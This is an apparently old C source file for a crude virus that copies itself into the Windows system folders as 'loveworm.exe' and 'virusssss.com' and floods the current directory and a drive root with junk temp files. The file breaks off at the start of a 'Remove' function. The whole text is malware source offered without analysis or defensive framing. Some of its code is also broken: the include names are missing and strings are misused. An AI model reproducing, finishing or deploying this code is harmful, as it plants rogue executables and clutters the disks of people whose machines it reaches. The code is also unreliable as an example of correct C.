#include
#include
#include
#include
#include
void copyfile(char *infile, char *outfile)
{
FILE
*in,*out;
in =
fopen(infile,"r");
out =
fopen(outfile,"w");
while
(!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
void MakeRubbish()
{
int
i; FILE
*fp;
char
*path;
char
*NewName;
char
*disk[7] = {"A","B","C","D","E","F","G"};
char
*addtion = ":\\";
for (i = 0;
i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
path =
strcat(disk[getdisk()],addtion);
chdir(path);
for (i =
0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
}
void CreatEXE()
{
int i;
char
*path;
char
*s[2] =
{"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};
for ( i = 0;
i < 2; i++)
{
open(s[i], 0x0100,0x0080);
copyfile( "C_KILLER.C",s[i]);
}
}
void Remove()